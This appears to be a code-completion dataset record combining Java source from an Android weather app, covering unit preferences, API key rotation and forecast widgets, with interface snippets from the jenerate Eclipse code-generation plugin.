kilometers.\n * @return Returns the converted value.\n */\n public float convertMilesInKm(float miles) {\n // TODO: Is this the right class for the function???\n return (float) (miles * 1.609344);\n }\n\n /**\n * @return Returns \"°C\" in case Celsius is set and \"°F\" if Fahrenheit was selected.\n */\n public String getWeatherUnit() {\n int prefValue = Integer.parseInt(preferences.getString(\"temperatureUnit\", \"1\"));\n if (prefValue == 1) {\n return \"°C\";\n } else {\n return \"°F\";\n }\n }\n\n /**\n * @return Returns \"km\" in case kilometer is set and \"mi\" if miles was selected.\n */\n public String getDistanceUnit() {\n int prefValue = Integer.parseInt(preferences.getString(\"distanceUnit\", \"1\"));\n if (prefValue == 1) {\n return \"km\";\n } else {\n return \"mi\";\n }\n }\n\n public void setThemeChoice(int i) {\n int choice;\n if (i == 0) {\n choice = Integer.parseInt(preferences.getString(\"themeChoice\", \"1\"));\n } else {\n choice = i;\n }\n\n switch (choice) {\n case 1:\n AppCompatDelegate.setDefaultNightMode(AppCompatDelegate.MODE_NIGHT_FOLLOW_SYSTEM);\n break;\n case 2:\n AppCompatDelegate.setDefaultNightMode(AppCompatDelegate.MODE_NIGHT_YES);\n break;\n case 3:\n AppCompatDelegate.setDefaultNightMode(AppCompatDelegate.MODE_NIGHT_NO);\n break;\n }\n }\n\n /**\n * @return Returns speed unit abbreviations\n */\n public String getSpeedUnit() {\n int prefValue = Integer.parseInt(preferences.getString(\"speedUnit\", \"6\"));\n if (prefValue == 1) {\n return \"km/h\";\n } else if (prefValue == 2) {\n return \"m/s\";\n } else if (prefValue == 3) {\n return \"mph\";\n } else if (prefValue == 4) {\n return \"ft/s\";\n } else if (prefValue == 5) {\n return \"kn\";\n } else {\n return \"Bft\";\n }\n }\n\n public String convertToCurrentSpeedUnit(float speedInMetersPerSecond) {\n int prefValue = Integer.parseInt(preferences.getString(\"speedUnit\", \"6\"));\n if (prefValue == 1) {\n return StringFormatUtils.formatDecimal(speedInMetersPerSecond * 3.6f, \"km/h\");\n } else if (prefValue == 2) {\n return StringFormatUtils.formatDecimal(speedInMetersPerSecond, \"m/s\");\n } else if (prefValue == 3) {\n return StringFormatUtils.formatDecimal(speedInMetersPerSecond * 2.23694f, \"mph\");\n } else if (prefValue == 4) {\n return StringFormatUtils.formatDecimal(speedInMetersPerSecond * 3.28084f, \"ft/s\");\n } else if (prefValue == 5) {\n return StringFormatUtils.formatDecimal(speedInMetersPerSecond * 1.94384f, \"kn\");\n } else {\n return StringFormatUtils.formatWindToBeaufort(speedInMetersPerSecond);\n }\n }\n\n public int get1dayWidgetInfo() {\n return Integer.parseInt(preferences.getString(\"widgetChoice4\", \"1\"));\n }\n\n public int get5dayWidgetInfo() {\n return Integer.parseInt(preferences.getString(\"widgetChoice1\", \"1\"));\n }\n\n public int get3dayWidgetInfo1() {\n return Integer.parseInt(preferences.getString(\"widgetChoice2\", \"1\"));\n }\n\n public int get3dayWidgetInfo2() {\n return Integer.parseInt(preferences.getString(\"widgetChoice3\", \"2\"));\n }\n\n public boolean usingPersonalKey(Context context) {\n String prefValue = preferences.getString(\"API_key_value\", context.getString(R.string.settings_API_key_default));\n return !prefValue.equals(context.getString(R.string.settings_API_key_default));\n }\n\n public String getOWMApiKey(Context context) {\n String noKeyString = context.getString(R.string.settings_API_key_default);\n String prefValue = preferences.getString(\"API_key_value\", noKeyString);\n if (!prefValue.equals(noKeyString)) {\n return prefValue;\n } else {\n int keyIndex = preferences.getInt(\"last_used_key\", 1);\n SharedPreferences.Editor editor = preferences.edit();\n switch (keyIndex) {\n case 1:\n editor.putInt(\"last_used_key\", 2);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY2;\n case 2:\n editor.putInt(\"last_used_key\", 3);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY3;\n case 3:\n editor.putInt(\"last_used_key\", 4);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY4;\n case 4:\n editor.putInt(\"last_used_key\", 5);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY5;\n case 5:\n editor.putInt(\"last_used_key\", 6);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY6;\n case 6:\n editor.putInt(\"last_used_key\", 7);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY7;\n case 7:\n editor.putInt(\"last_used_key\", 8);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY8;\n case 8:\n editor.putInt(\"last_used_key\", 9);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY9;\n case 9:\n editor.putInt(\"last_used_key\", 10);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY10;\n case 10:\n editor.putInt(\"last_used_key\", 11);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY11;\n case 11:\n editor.putInt(\"last_used_key\", 12);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY12;\n case 12:\n editor.putInt(\"last_used_key\", 13);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY13;\n case 13:\n editor.putInt(\"last_used_key\", 14);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY14;\n case 14:\n editor.putInt(\"last_used_key\", 15);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY15;\n case 15:\n editor.putInt(\"last_used_key\", 16);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY16;\n case 16:\n editor.putInt(\"last_used_key\", 17);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY17;\n case 17:\n editor.putInt(\"last_used_key\", 18);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY18;\n case 18:\n editor.putInt(\"last_used_key\", 19);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY19;\n case 19:\n editor.putInt(\"last_used_key\", 20);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY20;\n default:\n editor.putInt(\"last_used_key\", 1);\n editor.commit();\n return BuildConfig.DEFAULT_API_KEY1;\n }\n }\n\n }\n\n\n}", "public class WeatherWidget extends AppWidgetProvider {\n public static final String PREFS_NAME = \"org.secuso.privacyfriendlyweather.widget.WeatherWidget\";\n public static final String PREF_PREFIX_KEY = \"appwidget_\";\n\n public void updateAppWidget(Context context, final int appWidgetId) {\n\n int cityID = context.getSharedPreferences(WeatherWidget.PREFS_NAME, 0).\n getInt(WeatherWidget.PREF_PREFIX_KEY + appWidgetId, -1);\n Intent intent = new Intent(context, UpdateDataService.class);\n Log.d(\"debugtag\", \"1day widget calls single update: \" + cityID + \" with widgetID \" + appWidgetId);\n\n intent.setAction(UpdateDataService.UPDATE_SINGLE_ACTION);\n intent.putExtra(\"cityId\", cityID);\n intent.putExtra(SKIP_UPDATE_INTERVAL, true);\n enqueueWork(context, UpdateDataService.class, 0, intent);\n\n }\n\n public static void updateView(Context context, AppWidgetManager appWidgetManager, RemoteViews views, int appWidgetId, City city, CurrentWeatherData weatherData) {\n AppPreferencesManager prefManager =\n new AppPreferencesManager(PreferenceManager.getDefaultSharedPreferences(context.getApplicationContext()));\n DecimalFormat decimalFormat = new DecimalFormat(\"0.0\");\n String temperature = String.format(\n \"%s%s\",\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(weatherData.getTemperatureCurrent())),\n prefManager.getWeatherUnit()\n );\n SimpleDateFormat timeFormat = new SimpleDateFormat(\"HH:mm\");\n timeFormat.setTimeZone(TimeZone.getTimeZone(\"GMT\"));\n\n //correct for timezone differences\n int zoneseconds = weatherData.getTimeZoneSeconds();\n\n Date riseTime = new Date((weatherData.getTimeSunrise() + zoneseconds) * 1000L);\n String sunRise = timeFormat.format(riseTime);\n Date setTime = new Date((weatherData.getTimeSunset() + zoneseconds) * 1000L);\n String sunSet = timeFormat.format(setTime);\n\n String windSpeed = prefManager.convertToCurrentSpeedUnit(weatherData.getWindSpeed());\n\n views.setTextViewText(R.id.widget_city_weather_temperature, temperature);\n views.setTextViewText(R.id.widget_city_weather_humidity, String.format(\"%s %%\", (int) weatherData.getHumidity()));\n views.setTextViewText(R.id.widget_city_name, city.getCityName());\n views.setTextViewText(R.id.widget_city_weather_rise, sunRise);\n views.setTextViewText(R.id.widget_city_weather_set, sunSet);\n views.setTextViewText(R.id.widget_city_weather_wind, windSpeed);\n\n\n boolean isDay = weatherData.getTimestamp() > weatherData.getTimeSunrise() && weatherData.getTimestamp() < weatherData.getTimeSunset();\n\n views.setImageViewResource(R.id.widget_city_weather_image_view, UiResourceProvider.getIconResourceForWeatherCategory(weatherData.getWeatherID(), isDay));\n\n Intent intent = new Intent(context, ForecastCityActivity.class);\n intent.putExtra(\"cityId\", city.getCityId());\n PendingIntent pendingIntent = PendingIntent.getActivity(context, appWidgetId, intent, 0);\n views.setOnClickPendingIntent(R.id.widget1day_layout, pendingIntent);\n\n // Instruct the widget manager to update the widget\n appWidgetManager.updateAppWidget(appWidgetId, views);\n }\n\n @Override\n public void onAppWidgetOptionsChanged(Context context, AppWidgetManager appWidgetManager, int appWidgetId, Bundle newOptions) {\n super.onAppWidgetOptionsChanged(context, appWidgetManager, appWidgetId, newOptions);\n }\n\n @Override\n public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) {\n // There may be multiple widgets active, so update all of them\n for (int appWidgetId : appWidgetIds) {\n updateAppWidget(context, appWidgetId);\n }\n }\n\n @Override\n public void onDeleted(Context context, int[] appWidgetIds) {\n // When the user deletes the widget, delete the preference associated with it.\n for (int appWidgetId : appWidgetIds) {\n WeatherWidgetConfigureActivity.deleteTitlePref(context, appWidgetId);\n }\n }\n\n @Override\n public void onEnabled(Context context) {\n // Enter relevant functionality for when the first widget is created\n }\n\n @Override\n public void onDisabled(Context context) {\n // Enter relevant functionality for when the last widget is disabled\n }\n\n public static void forceWidgetUpdate(Context context) {\n forceWidgetUpdate(null, context);\n }\n\n public static void forceWidgetUpdate(Integer widgetId, Context context) {\n Intent intent = new Intent(context, WeatherWidget.class);\n intent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE);\n int[] ids;\n if (widgetId == null) {\n ids = AppWidgetManager.getInstance(context).getAppWidgetIds(new ComponentName(context, WeatherWidget.class));\n } else {\n ids = new int[]{widgetId};\n }\n intent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS, ids);\n context.sendBroadcast(intent);\n }\n}", "public class WeatherWidgetFiveDayForecast extends AppWidgetProvider {\n public static final String PREFS_NAME = \"org.secuso.privacyfriendlyweather.widget.WeatherWidget5Day\";\n\n public void updateAppWidget(Context context, int appWidgetId) {\n\n int cityID = context.getSharedPreferences(WeatherWidgetFiveDayForecast.PREFS_NAME, 0).\n getInt(WeatherWidget.PREF_PREFIX_KEY + appWidgetId, -1);\n Intent intent = new Intent(context, UpdateDataService.class);\n intent.setAction(UpdateDataService.UPDATE_SINGLE_ACTION);\n\n intent.putExtra(\"cityId\", cityID);\n intent.putExtra(SKIP_UPDATE_INTERVAL, true);\n enqueueWork(context, UpdateDataService.class, 0, intent);\n\n }\n\n public static void updateView(Context context, AppWidgetManager appWidgetManager, RemoteViews views, int appWidgetId, float[][] data, City city) {\n AppPreferencesManager prefManager =\n new AppPreferencesManager(PreferenceManager.getDefaultSharedPreferences(context.getApplicationContext()));\n DecimalFormat decimalFormat = new DecimalFormat(\"#\");\n SimpleDateFormat dayFormat = new SimpleDateFormat(\"EEE\");\n dayFormat.setTimeZone(TimeZone.getTimeZone(\"GMT\"));\n DecimalFormat decimal1Format = new DecimalFormat(\"0.0\");\n\n //forecastList = DayForecastFilter.filter(forecastList, 5);\n if (data.length < 5) return;\n\n String day1 = dayFormat.format((long) data[0][8]);\n String day2 = dayFormat.format((long) data[1][8]);\n String day3 = dayFormat.format((long) data[2][8]);\n String day4 = dayFormat.format((long) data[3][8]);\n String day5 = dayFormat.format((long) data[4][8]);\n\n String temperature1 = String.format(\n \"%s\\u200a|\\u200a%s%s\",\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[0][0])),\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[0][1])),\n prefManager.getWeatherUnit()\n );\n String temperature2 = String.format(\n \"%s\\u200a|\\u200a%s%s\",\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[1][0])),\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[1][1])),\n prefManager.getWeatherUnit()\n );\n String temperature3 = String.format(\n \"%s\\u200a|\\u200a%s%s\",\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[2][0])),\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[2][1])),\n prefManager.getWeatherUnit()\n );\n String temperature4 = String.format(\n \"%s\\u200a|\\u200a%s%s\",\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[3][0])),\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[3][1])),\n prefManager.getWeatherUnit()\n );\n String temperature5 = String.format(\n \"%s\\u200a|\\u200a%s%s\",\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[4][0])),\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[4][1])),\n prefManager.getWeatherUnit()\n );\n\n String extra1 = \"\";\n String extra2 = \"\";\n String extra3 = \"\";\n String extra4 = \"\";\n String extra5 = \"\";\n //select extra information to display from settings\n int extraInfo = prefManager.get5dayWidgetInfo();\n if (extraInfo==1){\n extra1 = String.format(\"%s\\u200amm\", decimal1Format.format(data[0][7]));\n extra2 = String.format(\"%s\\u200amm\", decimal1Format.format(data[1][7]));\n extra3 = String.format(\"%s\\u200amm\", decimal1Format.format( data[2][7]));\n extra4 = String.format(\"%s\\u200amm\", decimal1Format.format(data[3][7]));\n extra5 = String.format(\"%s\\u200amm\", decimal1Format.format(data[4][7]));\n } else if (extraInfo==2) {\n //wind max & min\n extra1 = prefManager.convertToCurrentSpeedUnit(data[0][5]);\n extra2 = prefManager.convertToCurrentSpeedUnit(data[1][5]);\n extra3 = prefManager.convertToCurrentSpeedUnit(data[2][5]);\n extra4 = prefManager.convertToCurrentSpeedUnit(data[3][5]);\n extra5 = prefManager.convertToCurrentSpeedUnit(data[4][5]);\n } else {\n extra1 = String.format(\"%s\\u200a%%rh\", (int) data[0][2]);\n extra2 = String.format(\"%s\\u200a%%rh\", (int) data[1][2]);\n extra3 = String.format(\"%s\\u200a%%rh\", (int) data[2][2]);\n extra4 = String.format(\"%s\\u200a%%rh\", (int) data[3][2]);\n extra5 = String.format(\"%s\\u200a%%rh\", (int) data[4][2]);\n }\n\n\n views.setTextViewText(R.id.widget_city_name, city.getCityName());\n\n views.setTextViewText(R.id.widget_city_weather_5day_day1, day1);\n views.setTextViewText(R.id.widget_city_weather_5day_day2, day2);\n views.setTextViewText(R.id.widget_city_weather_5day_day3, day3);\n views.setTextViewText(R.id.widget_city_weather_5day_day4, day4);\n views.setTextViewText(R.id.widget_city_weather_5day_day5, day5);\n views.setTextViewText(R.id.widget_city_weather_5day_temp1, temperature1);\n views.setTextViewText(R.id.widget_city_weather_5day_temp2, temperature2);\n views.setTextViewText(R.id.widget_city_weather_5day_temp3, temperature3);\n views.setTextViewText(R.id.widget_city_weather_5day_temp4, temperature4);\n views.setTextViewText(R.id.widget_city_weather_5day_temp5, temperature5);\n views.setTextViewText(R.id.widget_city_weather_5day_hum1, extra1);\n views.setTextViewText(R.id.widget_city_weather_5day_hum2, extra2);\n views.setTextViewText(R.id.widget_city_weather_5day_hum3, extra3);\n views.setTextViewText(R.id.widget_city_weather_5day_hum4, extra4);\n views.setTextViewText(R.id.widget_city_weather_5day_hum5, extra5);\n\n views.setImageViewResource(R.id.widget_city_weather_5day_image1, UiResourceProvider.getIconResourceForWeatherCategory((int) data[0][9], true));\n views.setImageViewResource(R.id.widget_city_weather_5day_image2, UiResourceProvider.getIconResourceForWeatherCategory((int) data[1][9], true));\n views.setImageViewResource(R.id.widget_city_weather_5day_image3, UiResourceProvider.getIconResourceForWeatherCategory((int) data[2][9], true));\n views.setImageViewResource(R.id.widget_city_weather_5day_image4, UiResourceProvider.getIconResourceForWeatherCategory((int) data[3][9], true));\n views.setImageViewResource(R.id.widget_city_weather_5day_image5, UiResourceProvider.getIconResourceForWeatherCategory((int) data[4][9], true));\n\n Intent intent = new Intent(context, ForecastCityActivity.class);\n intent.putExtra(\"cityId\", city.getCityId());\n PendingIntent pendingIntent = PendingIntent.getActivity(context, appWidgetId, intent, 0);\n\n views.setOnClickPendingIntent(R.id.widget5day_layout, pendingIntent);\n // Instruct the widget manager to update the widget\n appWidgetManager.updateAppWidget(appWidgetId, views);\n }\n\n @Override\n public void onAppWidgetOptionsChanged(Context context, AppWidgetManager appWidgetManager, int appWidgetId, Bundle newOptions) {\n super.onAppWidgetOptionsChanged(context, appWidgetManager, appWidgetId, newOptions);\n }\n\n @Override\n public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) {\n // There may be multiple widgets active, so update all of them\n for (int appWidgetId : appWidgetIds) {\n updateAppWidget(context, appWidgetId);\n }\n }\n\n @Override\n public void onDeleted(Context context, int[] appWidgetIds) {\n // When the user deletes the widget, delete the preference associated with it.\n for (int appWidgetId : appWidgetIds) {\n WeatherWidgetFiveDayForecastConfigureActivity.deleteTitlePref(context, appWidgetId);\n }\n }\n\n @Override\n public void onEnabled(Context context) {\n // Enter relevant functionality for when the first widget is created\n }\n\n @Override\n public void onDisabled(Context context) {\n // Enter relevant functionality for when the last widget is disabled\n }\n\n public static void forceWidgetUpdate(Context context) {\n forceWidgetUpdate(null, context);\n }\n\n public static void forceWidgetUpdate(Integer widgetId, Context context) {\n Intent intent = new Intent(context, WeatherWidgetFiveDayForecast.class);\n intent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE);\n int[] ids;\n if (widgetId == null) {\n ids = AppWidgetManager.getInstance(context).getAppWidgetIds(new ComponentName(context, WeatherWidgetFiveDayForecast.class));\n } else {\n ids = new int[]{widgetId};\n }\n intent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS, ids);\n context.sendBroadcast(intent);\n }\n}", "public class WeatherWidgetThreeDayForecast extends AppWidgetProvider {\n public static final String PREFS_NAME = \"org.secuso.privacyfriendlyweather.widget.WeatherWidget3Day\";\n\n public static void updateAppWidget(final Context context, final int appWidgetId) {\n\n int cityID = context.getSharedPreferences(WeatherWidgetThreeDayForecast.PREFS_NAME, 0).\n getInt(WeatherWidget.PREF_PREFIX_KEY + appWidgetId, -1);\n\n Intent intent = new Intent(context, UpdateDataService.class);\n intent.setAction(UpdateDataService.UPDATE_SINGLE_ACTION);\n\n intent.putExtra(\"cityId\", cityID);\n intent.putExtra(SKIP_UPDATE_INTERVAL, true);\n enqueueWork(context, UpdateDataService.class, 0, intent);\n\n }\n\n public static void updateView(Context context, AppWidgetManager appWidgetManager, RemoteViews views, int appWidgetId, float[][] data, City city) {\n AppPreferencesManager prefManager =\n new AppPreferencesManager(PreferenceManager.getDefaultSharedPreferences(context.getApplicationContext()));\n DecimalFormat decimalFormat = new DecimalFormat(\"0.0\");\n SimpleDateFormat dayFormat = new SimpleDateFormat(\"EEEE\");\n dayFormat.setTimeZone(TimeZone.getTimeZone(\"GMT\"));\n\n //forecastList = DayForecastFilter.filter(forecastList, 3);\n if (data.length < 3) return;\n\n String day1 = dayFormat.format(data[0][8]);\n String day2 = dayFormat.format(data[1][8]);\n String day3 = dayFormat.format(data[2][8]);\n\n String temperature1 = String.format(\n \"%s | %s%s\",\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[0][0])),\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[0][1])),\n prefManager.getWeatherUnit()\n );\n String temperature2 = String.format(\n \"%s | %s%s\",\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[1][0])),\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[1][1])),\n prefManager.getWeatherUnit()\n );\n String temperature3 = String.format(\n \"%s | %s%s\",\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[2][0])),\n decimalFormat.format(prefManager.convertTemperatureFromCelsius(data[2][1])),\n prefManager.getWeatherUnit()\n );\n\n String extra11 = \"\";\n String extra12 = \"\";\n String extra13 = \"\";\n //select extra information to display from settings\n int extraInfo = prefManager.get3dayWidgetInfo1();\n if (extraInfo == 1) {\n extra11 = String.format(\"%s mm \", (int) data[0][7]);\n extra12 = String.format(\"%s mm \", (int) data[1][7]);\n extra13 = String.format(\"%s mm \", (int) data[2][7]);\n } else if (extraInfo == 2) {\n //wind max & min\n extra11 = prefManager.convertToCurrentSpeedUnit(data[0][5]);\n extra12 = prefManager.convertToCurrentSpeedUnit(data[1][5]);\n extra13 = prefManager.convertToCurrentSpeedUnit(data[2][5]);\n } else {\n extra11 = String.format(\"%s%%rh \", (int) data[0][2]);\n extra12 = String.format(\"%s%%rh \", (int) data[1][2]);\n extra13 = String.format(\"%s%%rh \", (int) data[2][2]);\n }\n\n String extra21 = \"\";\n String extra22 = \"\";\n String extra23 = \"\";\n //select extra information to display from settings\n int extra2Info = prefManager.get3dayWidgetInfo2();\n if (extra2Info == 1) {\n extra21 = String.format(\"%s mm\", (int) data[0][7]);\n extra22 = String.format(\"%s mm\", (int) data[1][7]);\n extra23 = String.format(\"%s mm\", (int) data[2][7]);\n } else if (extra2Info == 2) {\n //wind max & min\n extra21 = String.format(\"%sm/s\", (int) data[0][5]);\n extra22 = String.format(\"%sm/s\", (int) data[1][5]);\n extra23 = String.format(\"%sm/s\", (int) data[2][5]);\n } else {\n extra21 = String.format(\"%s%%rh\", (int) data[0][2]);\n extra22 = String.format(\"%s%%rh\", (int) data[1][2]);\n extra23 = String.format(\"%s%%rh\", (int) data[2][2]);\n }\n\n\n views.setTextViewText(R.id.widget_city_name, city.getCityName());\n\n views.setTextViewText(R.id.widget_city_weather_3day_day1, day1);\n views.setTextViewText(R.id.widget_city_weather_3day_day2, day2);\n views.setTextViewText(R.id.widget_city_weather_3day_day3, day3);\n views.setTextViewText(R.id.widget_city_weather_3day_temp1, temperature1);\n views.setTextViewText(R.id.widget_city_weather_3day_temp2, temperature2);\n views.setTextViewText(R.id.widget_city_weather_3day_temp3, temperature3);\n views.setTextViewText(R.id.widget_city_weather_3day_hum1, extra11 + extra21);\n views.setTextViewText(R.id.widget_city_weather_3day_hum2, extra12 + extra22);\n views.setTextViewText(R.id.widget_city_weather_3day_hum3, extra13 + extra23);\n\n views.setImageViewResource(R.id.widget_city_weather_3day_image1, UiResourceProvider.getIconResourceForWeatherCategory((int) data[0][9], true));\n views.setImageViewResource(R.id.widget_city_weather_3day_image2, UiResourceProvider.getIconResourceForWeatherCategory((int) data[1][9], true));\n views.setImageViewResource(R.id.widget_city_weather_3day_image3, UiResourceProvider.getIconResourceForWeatherCategory((int) data[2][9], true));\n\n Intent intent = new Intent(context, ForecastCityActivity.class);\n intent.putExtra(\"cityId\", city.getCityId());\n PendingIntent pendingIntent = PendingIntent.getActivity(context, appWidgetId, intent, 0);\n views.setOnClickPendingIntent(R.id.widget3day_layout, pendingIntent);\n\n // Instruct the widget manager to update the widget\n appWidgetManager.updateAppWidget(appWidgetId, views);\n }\n\n @Override\n public void onAppWidgetOptionsChanged(Context context, AppWidgetManager appWidgetManager, int appWidgetId, Bundle newOptions) {\n super.onAppWidgetOptionsChanged(context, appWidgetManager, appWidgetId, newOptions);\n }\n\n @Override\n public void onUpdate(Context context, AppWidgetManager appWidgetManager, int[] appWidgetIds) {\n // There may be multiple widgets active, so update all of them\n for (int appWidgetId : appWidgetIds) {\n updateAppWidget(context, appWidgetId);\n }\n }\n\n @Override\n public void onDeleted(Context context, int[] appWidgetIds) {\n // When the user deletes the widget, delete the preference associated with it.\n for (int appWidgetId : appWidgetIds) {\n WeatherWidgetThreeDayForecastConfigureActivity.deleteTitlePref(context, appWidgetId);\n }\n }\n\n @Override\n public void onEnabled(Context context) {\n // Enter relevant functionality for when the first widget is created\n }\n\n @Override\n public void onDisabled(Context context) {\n // Enter relevant functionality for when the last widget is disabled\n }\n\n public static void forceWidgetUpdate(Context context) {\n forceWidgetUpdate(null, context);\n }\n\n public static void forceWidgetUpdate(Integer widgetId, Context context) {\n Intent intent = new Intent(context, WeatherWidgetThreeDayForecast.class);\n intent.setAction(AppWidgetManager.ACTION_APPWIDGET_UPDATE);\n int[] ids;\n if (widgetId == null) {\n ids = AppWidgetManager.getInstance(context).getAppWidgetIds(new ComponentName(context, WeatherWidgetThreeDayForecast.class));\n } else {\n ids = new int[]{widgetId};\n }\n intent.putExtra(AppWidgetManager.EXTRA_APPWIDGET_IDS, ids);\n context.sendBroadcast(intent);\n }\n}" ]
import android.app.Activity; import android.appwidget.AppWidgetManager; import android.content.ComponentName; import android.content.Context; import android.content.SharedPreferences; import android.preference.PreferenceManager; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.Toast; import androidx.recyclerview.widget.RecyclerView; import com.google.android.material.snackbar.Snackbar; import org.jetbrains.annotations.NotNull; import org.secuso.privacyfriendlyweather.R; import org.secuso.privacyfriendlyweather.database.AppDatabase; import org.secuso.privacyfriendlyweather.database.data.CityToWatch; import org.secuso.privacyfriendlyweather.database.data.CurrentWeatherData; import org.secuso.privacyfriendlyweather.preferences.AppPreferencesManager; import org.secuso.privacyfriendlyweather.widget.WeatherWidget; import org.secuso.privacyfriendlyweather.widget.WeatherWidgetFiveDayForecast; import org.secuso.privacyfriendlyweather.widget.WeatherWidgetThreeDayForecast; import java.util.Collections; import java.util.List;
package org.secuso.privacyfriendlyweather.ui.RecycleList; /** * This is the adapter for the RecyclerList that is to be used for the overview of added locations. * For the most part, it has been taken from * https://medium.com/@ipaulpro/drag-and-swipe-with-recyclerview-b9456d2b1aaf#.hmhbe8sku * as of 2016-08-03 */ public class RecyclerOverviewListAdapter extends RecyclerView.Adapter<ItemViewHolder> implements ItemTouchHelperAdapter { /** * Member variables */ private Context context;
private static List<CityToWatch> cities;
1
maximeAudrain/jenerate
org.jenerate/src/test/org/jenerate/internal/manage/impl/MethodContentManagerImplTest.java
[ "public interface EqualsHashCodeGenerationData extends MethodGenerationData {\n\n /**\n * @return {@code true} if object references should be compared for the equals method generation, {@code false}\n * otherwise.\n */\n boolean compareReferences();\n\n /**\n * @return {@code true} if class comparison should be used instead of instanceOf for the equals method generation,\n * {@code false} otherwise.\n */\n boolean useClassComparison();\n\n /**\n * @return {@code true} if {@link Class#cast(Object)} and {@link Class#isInstance(Object)} should be used for the equals method generation,\n * {@code false} otherwise.\n */\n boolean useClassCast();\n\n /**\n * @return the odd numbers to be used for the hashCode generation\n */\n IInitMultNumbers getInitMultNumbers();\n\n}", "public enum MethodsGenerationCommandIdentifier implements CommandIdentifier {\r\n\r\n EQUALS_HASH_CODE(\"org.jenerate.commands.GenerateEqualsHashCodeCommand\"),\r\n TO_STRING(\"org.jenerate.commands.GenerateToStringCommand\"),\r\n COMPARE_TO(\"org.jenerate.commands.GenerateCompareToCommand\");\r\n\r\n private static final Map<String, MethodsGenerationCommandIdentifier> IDENTIFIERS = new HashMap<String, MethodsGenerationCommandIdentifier>();\r\n\r\n static {\r\n for (MethodsGenerationCommandIdentifier userActionIdentifier : MethodsGenerationCommandIdentifier.values()) {\r\n IDENTIFIERS.put(userActionIdentifier.getIdentifier(), userActionIdentifier);\r\n }\r\n }\r\n\r\n private final String identifier;\r\n\r\n private MethodsGenerationCommandIdentifier(String identifier) {\r\n this.identifier = identifier;\r\n }\r\n\r\n @Override\r\n public String getIdentifier() {\r\n return identifier;\r\n }\r\n\r\n public static MethodsGenerationCommandIdentifier getUserActionIdentifierFor(String identifier) {\r\n if (!IDENTIFIERS.containsKey(identifier)) {\r\n throw new IllegalArgumentException();\r\n }\r\n return IDENTIFIERS.get(identifier);\r\n }\r\n\r\n}\r", "public interface PreferencesManager {\r\n\r\n /**\r\n * Gets the current value for a specific preference\r\n * \r\n * @param preference the preference to get the value from\r\n * @return the value for this preference\r\n */\r\n <T> T getCurrentPreferenceValue(PluginPreference<T> preference);\r\n\r\n}\r", "public interface Method<T extends MethodSkeleton<U>, U extends MethodGenerationData> {\r\n\r\n /**\r\n * @return the {@link MethodSkeleton} of this method\r\n */\r\n T getMethodSkeleton();\r\n\r\n /**\r\n * @return the {@link MethodContent} of this method\r\n */\r\n MethodContent<T, U> getMethodContent();\r\n\r\n}\r", "public interface MethodContent<T extends MethodSkeleton<U>, U extends MethodGenerationData> {\r\n\r\n /**\r\n * Gets the method content from the provided arguments\r\n * \r\n * @param objectClass the object class where the method content will be generated\r\n * @param data the generation data containing information provided by the user on how the content should be\r\n * generated.\r\n * @return the generated string content of a method\r\n * @throws Exception if a problem occurred when generating the method content\r\n */\r\n String getMethodContent(IType objectClass, U data) throws Exception;\r\n\r\n /**\r\n * @return the ordered set of libraries to import for this {@link MethodContent}.\r\n */\r\n LinkedHashSet<String> getLibrariesToImport(U data);\r\n\r\n /**\r\n * @return the related {@link MethodSkeleton} class for this {@link MethodContent}\r\n */\r\n Class<T> getRelatedMethodSkeletonClass();\r\n\r\n /**\r\n * @return the {@link StrategyIdentifier} for this {@link MethodContent}\r\n */\r\n StrategyIdentifier getStrategyIdentifier();\r\n}\r", "public abstract class AbstractMethodSkeleton<T extends MethodGenerationData> implements MethodSkeleton<T> {\r\n\r\n protected final PreferencesManager preferencesManager;\r\n\r\n public AbstractMethodSkeleton(PreferencesManager preferencesManager) {\r\n this.preferencesManager = preferencesManager;\r\n }\r\n\r\n protected boolean addOverride(IType objectClass) {\r\n boolean addOverridePreference = preferencesManager\r\n .getCurrentPreferenceValue(JeneratePreferences.ADD_OVERRIDE_ANNOTATION).booleanValue();\r\n return addOverridePreference && CompilerSourceUtils.isSourceLevelGreaterThanOrEqualTo5(objectClass);\r\n }\r\n}\r", "public class CompareToMethodSkeleton extends AbstractMethodSkeleton<CompareToGenerationData> {\r\n\r\n /**\r\n * Public for testing purpose\r\n 